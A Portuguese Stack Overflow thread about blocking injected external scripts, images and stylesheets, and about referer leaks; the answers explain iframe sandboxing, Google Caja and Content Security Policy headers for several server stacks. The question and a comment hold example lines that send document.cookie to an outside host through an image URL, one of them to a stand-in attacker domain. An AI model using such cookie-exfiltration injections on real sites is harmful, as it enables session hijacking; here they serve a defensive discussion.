9

Supondo que exista alguma biblioteca da qual injete elementos de fontes externas como <script>, <link>, <img>, <video>, <audio>

Eventualmente podem ocorrer problemas como:

  1. Abrir brechas de segurança como injetar scripts maliciosos
  2. Capturar pelo referer a página de origem
  3. Afetar a performance

É possível prevenir que um script injete com document.createElement (ou innerHTML ou document.write) elementos que acessem recursos externos?

Ou então é possível recursos que venham de fora dos domínios permitidos?

Por exemplo, impedir requisições de servidores externos:

Impedir injeção de arquivos .js

var inject = document.createElement("script");
inject.src = "//cdn.exemplo.com/script-injetado.js";
document.head.appendChild(test);

Impedir injeção de arquivos de imagem e .css

Imagens, vídeos e outros recursos semelhantes podem pegar pelo referer a página de origem e no caso quero prevenir isto para evitar que saibam a página de origem, já que pode se tratar de uma URL restrita:

var inject = document.createElement("img");
inject.src = "//cdn.exemplo.com/photo.js";
document.head.appendChild(inject);

var inject = document.createElement("link");
inject.rel = "stylesheet";
inject.type = "text/css";
inject.src = "//cdn.exemplo.com/photo.js";
document.head.appendChild(inject);

E como citou o @mgibsonbr, podem enviar dados por método GET por exemplo:

var inject = document.createElement("img");
inject.src = "//exemplo.com/imagem.jpg?cookie=" + document.cookie;
document.head.appendChild(inject);
2
  • 1
    "Eu sei que fotos e css não vão executar scripts maliciosos" mas eles podem capturar informações privadas do browser e enviar para domínios externos. Ex.: <img src="http://atacante.example.com/kitty.jpg?cookie=algo_roubado_da_pagina_atual">
    – mgibsonbr
    Commented 18/07/2015 às 22:03
  • @mgibsonbr Entendo, um exemplo que citei foi o referer. Editei obrigado. !
    – Syzoth
    Commented 18/07/2015 às 22:11

2 Respostas 2

7

Atualização: os browsers modernos implementam o Content Security Policy (CSP), que permitem que os sites orientem o browser no sentido de permitir/bloquear diversas coisas. Mais detalhes na resposta do Guilherme Nascimento.

Com JavaScript puro, não. É possível restringir alguma coisa dos scripts colocando-os em um iframe com o atributo sandbox, mas esse nível fino de controle é mais difícil.

Se você possui um script - externo ou não - e você quer garantir que ele somente faça aquilo que você explicitamente permitir, é necessário modificá-lo para chegar a esse fim. A princípio isso poderia ser feito no próprio browser, mas aí você precisaria de um parser de JavaScript em JavaScript (o que é viável, mas não muito eficiente). Outra opção é fazer isso em um servidor. O projeto google-caja se propõe justamente a isso.

Nunca utilizei, por isso não posso afirmar sua eficácia, mas a ideia é prover um modelo de segurança baseado em capacidades (capability), de modo que o script não tenha acesso ao objeto global e todas suas classes/funções, mas sim só àquilo que você disponibilizar a ele.

(Nota: em algumas circunstâncias, um código JavaScript contido em uma função pode ser executado no modo strict de forma que ele também não acesse o objeto global, mas eu não contaria com isso para assegurar a segurança do site.)

Essa resposta no security.SE (em inglês) cita algumas outras ferramentas que podem ajudar nesse propósito.

0
6

Através dos headers é possível configurar o CSP (Content Security Policy) e com ele é possível bloquear requisições externas e até outros tipos "problemas" de segurança.

Exemplo de header CSP:

Este header irá permitir requisições do mesmo domínio, irá impedir scripts inline e o uso do eval():

Content-Security-Policy: default-src 'self'

Este header irá permitir requisições do mesmo dominio, irá impedir o eval, mas irá permitir os "scripts inline":

Content-Security-Policy: default-src 'self' 'unsafe-inline'

Regras:

  • 'none'

    Refere a definição vazia; ou seja, que

  • 'self'

    Refere-se à origem a partir da qual o documento protegido está sendo chamado, incluindo o mesmo esquema de URL e número de porta. Alguns navegadores excluir especificamente "blob" e "sistema de arquivos" de diretivas de origem. Sites que necessitam para permitir que esses tipos de conteúdo pode especificá-los usando o atributo de dados.

  • 'unsafe-inline'

    Permite o uso de recursos inline, como <script>alert(1);</script> ou <style>a {}</style> e javascript: em eventos (por exemplo <a href="javascript:alert(1);">)

  • 'unsafe-eval'

    Permite o uso da função eval()

Permitir blob e acesso ao arquivos de sistema

Muitos sistemas necessitam do uso de upload e criação de urls dinamicas, mas o default-src 'self' pode impedir isto, então use:

Content-Security-Policy: default-src 'self'; img-src 'self' data: blob: filesystem:; media-src mediastream:

Fonte: https://developer.mozilla.org/en-US/docs/Web/Security/CSP/CSP_policy_directives

PHP

Para usar isto com PHP é necessário usar o header:

<?php

header('Content-Security-Policy: default-src \'self\'');

Apache e .htaccess

Para usar o com Apache, você pode usar o httpd.conf ou o .htaccess e o mod_headers:

<IfModule mod_headers.c>
    Header set Content-Security-Policy "default-src 'self'"
</IfModule>

IIS

Em servidores IIS

<set name="CONTENT_SECURITY_POLICY" value="default-src 'self'">

CSharp (System.Web)

Com você pode acessar o HttpContext e setar em um variável chamada context:

HttpResponse HS = context.Response;

HS.AddHeader("Content-Security-Policy", "default-src 'self'");

Python

Com :

def main(request):
    response = HttpResponse()
    reponse["Content-Security-Policy"] = "default-src 'self'"

Com (neste caso define na rota /):

@app.route("/")
def home():
    resp = flask.Response("foo")
    resp.headers['Content-Security-Policy'] = 'default-src \'self\''
    return resp
1
  • 2
    +1 Não conhecia esse CSP, mas já vejo que promete bastante. Eu sempre quis que os browsers implementassem algo como o hash-source no CSP nível 2, tomara que isso se popularize logo (no momento, só o Chrome suporta). Sempre fiquei com um pé atrás com os CDNs justamente por isso (vai que um CDN qualquer é hackeado e substituem o jQuery por um arquivo malicioso, quantos sites no mundo seriam afetados?). Mas se for possível estabelecer um hash, então já não há mais problema.
    – mgibsonbr
    Commented 18/07/2015 às 21:58

Você deve fazer log-in para responder a esta pergunta.

Esta não é a resposta que você está procurando? Pesquise outras perguntas com a tag .